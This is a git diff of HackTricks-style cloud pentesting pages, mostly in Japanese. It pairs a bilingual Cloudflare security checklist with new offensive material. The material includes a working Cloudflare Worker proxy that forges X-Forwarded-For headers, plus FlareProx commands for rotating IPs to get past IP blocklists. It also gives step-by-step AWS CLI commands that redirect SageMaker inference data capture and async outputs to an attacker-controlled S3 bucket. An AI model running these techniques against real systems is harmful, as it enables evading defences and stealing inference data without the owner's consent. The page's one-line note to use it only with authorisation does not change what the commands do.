diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 753a69860..d0b378c91 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -1,24 +1,25 @@
-# Cloudflare Security
+# Cloudflare セキュリティ
{{#include ../../banners/hacktricks-training.md}}
-Cloudflareアカウントには、設定できるいくつかの**一般設定とサービス**があります。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。
+In a Cloudflare account there are some **一般的な設定とサービス** that can be configured. In this page we are going to **各セクションのセキュリティ関連設定を分析します:**
-## Websites
+## Webサイト
-各項目を確認してください:
+Review each with:
{{#ref}}
cloudflare-domains.md
{{#endref}}
-### Domain Registration
+### ドメイン登録
-- [ ] **`Transfer Domains`** で、ドメインを転送できないことを確認します。
+- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+ - **`Transfer Domains`** で任意のドメインを転送できないことを確認する。
-各項目を確認してください:
+Review each with:
{{#ref}}
cloudflare-domains.md
@@ -26,39 +27,56 @@ cloudflare-domains.md
## Analytics
-_設定のセキュリティレビューのために確認できるものは見つかりませんでした。_
+_I couldn't find anything to check for a config security review._
## Pages
-各Cloudflareのページで:
+On each Cloudflare's page:
-- [ ] **`Build log`** に**機密情報**がないか確認します。
-- [ ] ページに割り当てられた**Githubリポジトリ**に**機密情報**がないか確認します。
-- [ ] **workflow command injection**や`pull_request_target`の妥協を通じて、潜在的なgithubリポジトリの妥協を確認します。詳細は[**Github Security page**](../github-security/)を参照してください。
-- [ ] `/fuctions`ディレクトリ内の**脆弱な関数**を確認し(あれば)、`_redirects`ファイル内の**リダイレクト**(あれば)と`_headers`ファイル内の**誤設定されたヘッダー**(あれば)を確認します。
-- [ ] **コードにアクセス**できる場合、**blackbox**または**whitebox**を通じて**ウェブページ**の**脆弱性**を確認します。
-- [ ] 各ページの詳細 `//pages/view/blocklist/settings/functions` で、**`Environment variables`**に**機密情報**がないか確認します。
-- [ ] 詳細ページで、**ビルドコマンド**と**ルートディレクトリ**に**潜在的なインジェクション**がないかも確認します。
+- [ ] Check for **機密情報** in the **`Build log`**.
+- [ ] Check for **機密情報** in the **Github repository** assigned to the pages.
+- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
+- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
+ - `/fuctions` ディレクトリ(存在する場合)の脆弱な関数を確認し、`_redirects` ファイル(存在する場合)のリダイレクトと `_headers` ファイル(存在する場合)の誤設定されたヘッダを確認する。
+- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
+ - コードにアクセスできる場合は、**blackbox** または **whitebox** によってウェブページの脆弱性を確認する。
+- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
+ - 各ページの詳細 `//pages/view/blocklist/settings/functions` で、**`Environment variables`** に機密情報が含まれていないか確認する。
+- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+ - 詳細ページで **build command** と **root directory** を確認し、ページを乗っ取る可能性のある注入がないか確認する。
## **Workers**
-各Cloudflareのワーカーで確認します:
+On each Cloudflare's worker check:
-- [ ] トリガー:ワーカーをトリガーするのは何ですか?**ユーザーがデータを送信**でき、それがワーカーによって**使用される**可能性はありますか?
-- [ ] **`Settings`** で、**機密情報**を含む**`Variables`**を確認します。
-- [ ] **ワーカーのコード**を確認し、**脆弱性**を探します(特にユーザーが入力を管理できる場所で)。
-- 指定されたページを返すSSRFを確認します。
-- svg画像内でJSを実行するXSSを確認します。
-- ワーカーが他の内部サービスと相互作用する可能性があります。たとえば、ワーカーが入力から取得した情報を格納するR2バケットと相互作用する場合があります。その場合、ワーカーがR2バケットに対してどのような権限を持ち、ユーザー入力からどのように悪用される可能性があるかを確認する必要があります。
+- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
+ - トリガー: Worker を起動する要因は何か?**ユーザがデータを送信**して、それが **使用される** か?
+- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
+ - **`Settings`** で **`Variables`** に機密情報が含まれていないか確認する
+- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
+ - Worker のコードを確認し、特にユーザが入力を扱う箇所で脆弱性がないか確認する
+- Check for SSRFs returning the indicated page that you can control
+ - あなたが制御できるページを返す SSRF を確認する
+- Check XSSs executing JS inside a svg image
+ - svg 画像内で JS を実行する XSS を確認する
+- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+ - Worker が他の内部サービスと連携している可能性がある。例えば、Worker が入力から得た情報を保存する R2 バケットとやり取りする場合、その Worker が R2 バケットに対してどのような権限を持っているか、ユーザ入力からどのように悪用され得るかを確認する必要がある。
> [!WARNING]
-> デフォルトでは、**ワーカーにはURL**が与えられます。例:`..workers.dev`。ユーザーは**サブドメイン**に設定できますが、その**元のURL**を知っていれば常にアクセスできます。
+> デフォルトでは **Worker に割り当てられる URL** は `..workers.dev` のようになります。ユーザはそれを **サブドメイン** に設定できますが、知っていれば常にその **元の URL** でアクセスできます。
+
+For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
+
+{{#ref}}
+cloudflare-workers-pass-through-proxy-ip-rotation.md
+{{#endref}}
## R2
-各R2バケットで確認します:
+On each R2 bucket check:
-- [ ] **CORSポリシー**を設定します。
+- [ ] Configure **CORS Policy**.
+ - **CORS Policy** を設定する。
## Stream
@@ -70,8 +88,10 @@ TODO
## Security Center
-- [ ] 可能であれば、**`Security Insights`** **スキャン**と**`Infrastructure`** **スキャン**を実行してください。これにより、**セキュリティ**に関する興味深い情報が**強調表示**されます。
-- [ ] セキュリティの誤設定や興味深い情報について、この情報を**確認**してください。
+- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
+ - 可能なら **`Security Insights`** スキャンと **`Infrastructure`** スキャンを実行する。これらはセキュリティ上興味深い情報を強調表示する。
+- [ ] Just **check this information** for security misconfigurations and interesting info
+ - この情報をセキュリティの誤設定や興味深い情報のために確認する
## Turnstile
@@ -86,14 +106,16 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
-> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)とは異なり、[**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)は本質的に静的です — 文字列置換操作や正規表現を**サポートしていません**。ただし、URLのマッチング動作やランタイム動作に影響を与えるURLリダイレクトパラメータを設定できます。
+> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) は本質的に静的で、文字列置換操作や正規表現を**サポートしません**。ただし、URL のマッチング動作や実行時の動作に影響する URL redirect parameters を設定することはできます。
-- [ ] **リダイレクトのための** **expressions**と**requirements**が**意味をなしている**か確認します。
-- [ ] **機密の隠れたエンドポイント**に興味深い情報が含まれていないかも確認します。
+- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
+ - リダイレクトの **expressions** と **requirements** が妥当であるか確認する。
+- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+ - 興味深い情報を含む **機密の隠しエンドポイント** がないかも確認する。
## Notifications
-- [ ] **通知**を確認します。これらの通知はセキュリティのために推奨されます:
+- [ ] Check the **notifications.** These notifications are recommended for security:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -113,22 +135,31 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
-- [ ] すべての**宛先**を確認してください。Webhook URLに**機密情報**(基本的なhttp認証)が含まれている可能性があります。また、Webhook URLが**HTTPS**を使用していることを確認してください。
-- [ ] 追加の確認として、**Cloudflare通知を第三者に偽装**してみることができます。もしかしたら、何か危険なものを**注入**できるかもしれません。
+- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
+ - すべての **destinations** を確認する。webhook URL に基本認証などの **機密情報** が含まれている可能性があるため。また webhook URL が **HTTPS** を使用していることを確認する。
+- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+ - 追加の確認として、Cloudflare 通知を第三者に**偽装**してみることが考えられる。何らかの方法で**危険な注入**ができないか検証する。
## Manage Account
-- [ ] **`Billing` -> `Payment info`** で**クレジットカードの最後の4桁**、**有効期限**、および**請求先住所**を見ることができます。
-- [ ] **`Billing` -> `Subscriptions`** でアカウントで使用されている**プランタイプ**を見ることができます。
-- [ ] **`Members`** でアカウントのすべてのメンバーとその**役割**を見ることができます。プランタイプがEnterpriseでない場合、2つの役割(AdministratorとSuper Administrator)のみが存在します。ただし、使用されている**プランがEnterprise**の場合、[**より多くの役割**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)が使用でき、最小権限の原則に従うことができます。
-- したがって、可能な限り**Enterpriseプラン**を使用することが**推奨**されます。
-- [ ] メンバーで**2FAが有効**になっている**メンバー**を確認できます。**すべての**ユーザーは有効にするべきです。
+- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
+ - **`Billing` -> `Payment info`** でクレジットカードの**下4桁**、**有効期限**、**請求先住所**を確認できる。
+- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
+ - **`Billing` -> `Subscriptions`** でアカウントの**プラン種別**を確認できる。
+- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
+ - **`Members`** ではアカウントの全メンバーとそのロールを確認できる。プランが Enterprise でない場合、ロールは Administrator と Super Administrator の2種類のみである。使用中のプランが Enterprise の場合は、最小権限の原則に従うために [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) を利用できる。
+- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
+ - したがって、可能な限り **Enterprise プラン** を利用することを**推奨**する。
+- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+ - **`Members`** でどのメンバーが **2FA を有効化しているか** を確認できる。すべてのユーザが有効化しているべきである。
> [!NOTE]
-> 幸いなことに、役割**`Administrator`**はメンバーシップを管理する権限を与えません(**権限を昇格させたり、新しいメンバーを招待したりできません**)。
+> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+>
+> 幸いなことに、ロール **`Administrator`** はメンバーシップを管理する権限を与えない(**権限昇格や新規メンバー招待はできない**)。
## DDoS Investigation
-[この部分を確認してください](cloudflare-domains.md#cloudflare-ddos-protection)。
+[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
new file mode 100644
index 000000000..4327655bc
--- /dev/null
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -0,0 +1,286 @@
+# Cloudflare Workers をパススルー プロキシとして悪用する(IPローテーション、FireProx-style)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Cloudflare Workers は、アップストリームのターゲット URL をクライアントが指定する透明な HTTP パススルー プロキシとしてデプロイできます。リクエストは Cloudflare のネットワークから発信されるため、ターゲット側にはクライアントの IP の代わりに Cloudflare の IP が表示されます。これは AWS API Gateway 上のよく知られた FireProx 技術と同様ですが、Cloudflare Workers を使用します。
+
+### Key capabilities
+- 全ての HTTP メソッドをサポート (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
+- ターゲットはクエリパラメータ (?url=...)、ヘッダ (X-Target-URL)、あるいはパスにエンコード (/https://target など) して渡せる
+- 必要に応じて hop-by-hop/ヘッダフィルタリングを行い、ヘッダとボディをそのままプロキシ
+- ステータスコードと大半のヘッダを保持してレスポンスを中継
+- 任意で X-Forwarded-For を偽装可能(Worker がユーザ制御のヘッダから設定する場合)
+- 複数の Worker エンドポイントをデプロイしてリクエストを分散させることで、非常に高速/簡単にローテーション可能
+
+### 仕組み(フロー)
+1) クライアントは Worker の URL(`..workers.dev` またはカスタムドメインのルート)に HTTP リクエストを送る。
+2) Worker はターゲットをクエリパラメータ (?url=...)、X-Target-URL ヘッダ、または実装されていればパスセグメントから抽出する。
+3) Worker は受け取ったメソッド、ヘッダ、ボディを指定されたアップストリーム URL に転送する(問題のあるヘッダはフィルタリングする)。
+4) アップストリームのレスポンスは Cloudflare 経由でクライアントにストリーミングされる;オリジン側には Cloudflare の送信元 IP が見える。
+
+### Worker 実装例
+- ターゲット URL をクエリパラメータ、ヘッダ、またはパスから読み取る
+- 安全なサブセットのヘッダをコピーして元のメソッド/ボディを転送する
+- 任意でユーザ制御のヘッダ (X-My-X-Forwarded-For) かランダム IP を使って X-Forwarded-For を設定する
+- 許容的な CORS を追加し、プリフライトを処理する
+
+
+パススルー プロキシ用の Worker (JavaScript) 例
+```javascript
+/**
+* Minimal Worker pass-through proxy
+* - Target URL from ?url=, X-Target-URL, or /https://...
+* - Proxies method/headers/body to upstream; relays response
+*/
+addEventListener('fetch', event => {
+event.respondWith(handleRequest(event.request))
+})
+
+async function handleRequest(request) {
+try {
+const url = new URL(request.url)
+const targetUrl = getTargetUrl(url, request.headers)
+
+if (!targetUrl) {
+return errorJSON('No target URL specified', 400, {
+usage: {
+query_param: '?url=https://example.com',
+header: 'X-Target-URL: https://example.com',
+path: '/https://example.com'
+}
+})
+}
+
+let target
+try { target = new URL(targetUrl) } catch (e) {
+return errorJSON('Invalid target URL', 400, { provided: targetUrl })
+}
+
+// Forward original query params except control ones
+const passthru = new URLSearchParams()
+for (const [k, v] of url.searchParams) {
+if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
+}
+if (passthru.toString()) target.search = passthru.toString()
+
+// Build proxied request
+const proxyReq = buildProxyRequest(request, target)
+const upstream = await fetch(proxyReq)
+
+return buildProxyResponse(upstream, request.method)
+} catch (error) {
+return errorJSON('Proxy request failed', 500, {
+message: error.message,
+timestamp: new Date().toISOString()
+})
+}
+}
+
+function getTargetUrl(url, headers) {
+let t = url.searchParams.get('url') || headers.get('X-Target-URL')
+if (!t && url.pathname !== '/') {
+const p = url.pathname.slice(1)
+if (p.startsWith('http')) t = p
+}
+return t
+}
+
+function buildProxyRequest(request, target) {
+const h = new Headers()
+const allow = [
+'accept','accept-language','accept-encoding','authorization',
+'cache-control','content-type','origin','referer','user-agent'
+]
+for (const [k, v] of request.headers) {
+if (allow.includes(k.toLowerCase())) h.set(k, v)
+}
+h.set('Host', target.hostname)
+
+// Optional: spoof X-Forwarded-For if provided
+const spoof = request.headers.get('X-My-X-Forwarded-For')
+h.set('X-Forwarded-For', spoof || randomIP())
+
+return new Request(target.toString(), {
+method: request.method,
+headers: h,
+body: ['GET','HEAD'].includes(request.method) ? null : request.body
+})
+}
+
+function buildProxyResponse(resp, method) {
+const h = new Headers()
+for (const [k, v] of resp.headers) {
+if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
+h.set(k, v)
+}
+}
+// Permissive CORS for tooling convenience
+h.set('Access-Control-Allow-Origin', '*')
+h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
+h.set('Access-Control-Allow-Headers', '*')
+
+if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
+return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
+}
+
+function errorJSON(msg, status=400, extra={}) {
+return new Response(JSON.stringify({ error: msg, ...extra }), {
+status, headers: { 'Content-Type': 'application/json' }
+})
+}
+
+function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
+```
+
+
+### FlareProxを使ったデプロイとローテーションの自動化
+
+FlareProxはPython製のツールで、Cloudflare APIを利用して多数の Worker endpoints をデプロイし、それらを順次ローテーションします。これによりCloudflareのネットワークからFireProx-likeなIPローテーションを提供します。
+
+セットアップ
+1) “Edit Cloudflare Workers”テンプレートを使用してCloudflare API Tokenを作成し、ダッシュボードからAccount IDを取得します。
+2) FlareProxを設定する:
+```bash
+git clone https://github.com/MrTurvey/flareprox
+cd flareprox
+pip install -r requirements.txt
+```
+**flareprox.json の設定ファイルを作成:**
+```json
+{
+"cloudflare": {
+"api_token": "your_cloudflare_api_token",
+"account_id": "your_cloudflare_account_id"
+}
+}
+```
+**CLI の使用方法**
+
+- N 個の Worker proxies を作成する:
+```bash
+python3 flareprox.py create --count 2
+```
+- エンドポイントを一覧表示:
+```bash
+python3 flareprox.py list
+```
+- ヘルスチェック用のエンドポイント:
+```bash
+python3 flareprox.py test
+```
+- すべてのエンドポイントを削除する:
+```bash
+python3 flareprox.py cleanup
+```
+**Workerを経由したトラフィックのルーティング**
+- クエリパラメータ形式:
+```bash
+curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
+```
+- ヘッダー形式:
+```bash
+curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
+```
+- パス形式(実装されている場合):
+```bash
+curl https://your-worker.account.workers.dev/https://httpbin.org/ip
+```
+- メソッドの例:
+```bash
+# GET
+curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
+
+# POST (form)
+curl -X POST -d "username=admin" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
+
+# PUT (JSON)
+curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
+
+# DELETE
+curl -X DELETE \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
+```
+**`X-Forwarded-For` 制御**
+
+Workerが`X-My-X-Forwarded-For`を尊重する場合、上流の`X-Forwarded-For`ヘッダの値に影響を与えられます:
+```bash
+curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
+```
+**プログラムからの利用**
+
+Use the FlareProx library to create/list/test endpoints and route requests from Python.
+
+
+Python の例: ランダムな Worker エンドポイント経由で POST を送信する
+```python
+#!/usr/bin/env python3
+from flareprox import FlareProx, FlareProxError
+import json
+
+# Initialize
+flareprox = FlareProx(config_file="flareprox.json")
+if not flareprox.is_configured:
+print("FlareProx not configured. Run: python3 flareprox.py config")
+exit(1)
+
+# Ensure endpoints exist
+endpoints = flareprox.sync_endpoints()
+if not endpoints:
+print("Creating proxy endpoints...")
+flareprox.create_proxies(count=2)
+
+# Make a POST request through a random endpoint
+try:
+post_data = json.dumps({
+"username": "testuser",
+"message": "Hello from FlareProx!",
+"timestamp": "2025-01-01T12:00:00Z"
+})
+
+headers = {
+"Content-Type": "application/json",
+"User-Agent": "FlareProx-Client/1.0"
+}
+
+response = flareprox.redirect_request(
+target_url="https://httpbin.org/post",
+method="POST",
+headers=headers,
+data=post_data
+)
+
+if response.status_code == 200:
+result = response.json()
+print("✓ POST successful via FlareProx")
+print(f"Origin IP: {result.get('origin', 'unknown')}")
+print(f"Posted data: {result.get('json', {})}")
+else:
+print(f"Request failed with status: {response.status_code}")
+
+except FlareProxError as e:
+print(f"FlareProx error: {e}")
+except Exception as e:
+print(f"Request error: {e}")
+```
+
+
+**Burp/Scanner の連携**
+- ツール(例: Burp Suite)を Worker URL に向ける。
+- 実際のアップストリームは ?url= または X-Target-URL を使って指定する。
+- HTTP semantics (methods/headers/body) は保持され、source IP は Cloudflare の背後にマスクされる。
+
+**運用上の注意点と制限**
+- Cloudflare Workers の Free プランでは、1アカウントあたり概ね 100,000 リクエスト/日 が可能。必要に応じてトラフィックを分散するために複数のエンドポイントを使用する。
+- Workers は Cloudflare のネットワーク上で実行される。多くのターゲットは Cloudflare の IPs/ASN のみを検出し、単純な IP の許可/拒否リストや地理的ヒューリスティクスを回避できる可能性がある。
+- 権限のある場合にのみ責任を持って使用すること。ToS と robots.txt を順守すること。
+
+## 参考資料
+- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
+- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
+- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
+- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
index 7a35ee257..3f95ff2d6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## SageMaker endpoint のデータ吸い上げ (UpdateEndpoint DataCaptureConfig 経由)
+## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
-モデルやコンテナに触れることなく、SageMaker エンドポイント管理を悪用して、攻撃者が管理する S3 バケットへのリクエスト/レスポンスを完全にキャプチャできるようにする。ゼロ/低ダウンタイムのローリングアップデートを使用し、必要なのはエンドポイント管理の権限だけ。
+SageMaker の endpoint 管理を悪用して、モデルやコンテナに触れることなくリクエスト/レスポンスを攻撃者管理の S3 バケットへフルキャプチャできるようにする。ゼロ/低ダウンタイムのローリングアップデートを使用し、必要なのは endpoint 管理権限のみ。
### 要件
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
-- S3: `s3:CreateBucket` (または同じアカウント内の既存のバケットを使用)
-- オプション(SSE‑KMS を使用する場合): 選択した CMK に対する `kms:Encrypt`
-- ターゲット: 同じアカウント/リージョン内の既存の InService リアルタイムエンドポイント
+- S3: `s3:CreateBucket`(または同じアカウント内の既存バケットを使用)
+- 任意(SSE‑KMS を使用する場合): `kms:Encrypt` on the chosen CMK
+- Target: 同じアカウント/リージョン内の既存の InService real‑time endpoint
### 手順
-1) InService エンドポイントを特定し、現在のプロダクションバリアントを収集する
+1) InService endpoint を特定し、現在の production variants を収集する
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
-2) attacker S3 destination を captures 用に準備する
+2) captures 用の attacker S3 destination を準備する
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
-3) 同じ variants を維持したまま、DataCapture を attacker bucket に有効化する新しい EndpointConfig を作成する
+3) 同じバリアントを保持したまま新しい EndpointConfig を作成し、attacker bucket への DataCapture を有効化する
-注:CLI の検証を満たす明示的なコンテンツタイプを使用してください。
+注意: CLI の検証を満たす明示的なコンテンツタイプを使用してください。
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -59,45 +59,46 @@ aws sagemaker create-endpoint-config \
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
-5) 少なくとも1回の推論呼び出しを行う(ライブトラフィックが存在する場合は任意)
+5) 少なくとも1回の inference call を実行する(ライブトラフィックが存在する場合はオプション)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
-6) attacker S3 にあるキャプチャを検証する
+6) 攻撃者 S3 のキャプチャを検証する
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### 影響
-- ターゲットのエンドポイントから攻撃者が管理する S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード(およびメタデータ)を完全に持ち出すことが可能。
-- model/container image に変更を加えず、エンドポイントレベルの変更のみで、運用への影響を最小限にしたステルスなデータ窃取経路を実現。
+- ターゲットのエンドポイントから攻撃者管理下の S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード(およびメタデータ)を完全に流出させることが可能。
+- model/container image を変更せず、エンドポイントレベルの変更のみで済むため、運用への影響を最小限に抑えたステルスなデータ窃取経路を実現できる。
-## SageMaker 非同期推論出力のハイジャック(UpdateEndpoint AsyncInferenceConfig 経由)
-現在の EndpointConfig を複製し、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論出力を攻撃者が管理する S3 バケットへリダイレクトします。これにより model/container を変更せずに、モデルの予測(およびコンテナが含める変換済み入力)を持ち出すことができます。
+## SageMaker 非同期推論出力 hijack via UpdateEndpoint AsyncInferenceConfig
+
+現在の EndpointConfig をクローンし、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論の出力を攻撃者管理下の S3 バケットへリダイレクトする。これにより model/container を変更することなく、モデルの予測結果(およびコンテナが含める変換済み入力)を流出させることができる。
### 要件
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
-- S3: モデル実行ロールまたは許容的なバケットポリシーを通じて攻撃者が管理する S3 バケットへ書き込めること
-- 対象: 非同期呼び出しが現在(または今後)利用される InService エンドポイント
+- S3: モデル実行ロール経由、または寛容なバケットポリシーにより攻撃者の S3 バケットへ書き込み可能であること
+- Target: 非同期呼び出しが使用されている(または使用される予定の)InService エンドポイント
### 手順
-1) 対象エンドポイントから現在の ProductionVariants を収集する
+1) ターゲットのエンドポイントから現在の ProductionVariants を収集する
```bash
REGION=${REGION:-us-east-1}
EP=
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
-2) attacker bucket を作成する(model execution role が PutObject できることを確認する)
+2) attacker bucketを作成する(model execution roleがそれに対してPutObjectできることを確認する)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
-3) EndpointConfig を Clone して、AsyncInference の出力を攻撃者バケットに hijack する
+3) EndpointConfig をクローンし、AsyncInference の出力を attacker bucket に hijack する
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -107,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
-4) 非同期呼び出しをトリガーし、オブジェクトがattacker S3に到達することを確認する
+4) async invocation をトリガーし、オブジェクトが攻撃者の S3 に格納されることを確認する
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -116,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### 影響
-- 非同期推論の結果(およびエラーボディ)を攻撃者が管理する S3 にリダイレクトし、モデルコードやイメージを変更せず、ほとんどまたは全くダウンタイムを発生させずに、コンテナが生成する予測結果や前処理/後処理された入力を密かに流出させることを可能にする。
+- 非同期推論の結果(およびエラー本文)を攻撃者が制御する S3 にリダイレクトし、モデルコードやイメージを変更せず、ダウンタイムを最小限またはゼロに抑えたまま、コンテナが生成する予測結果および前処理/後処理された機密性の高い入力を密かに流出させることを可能にします。
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
-If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
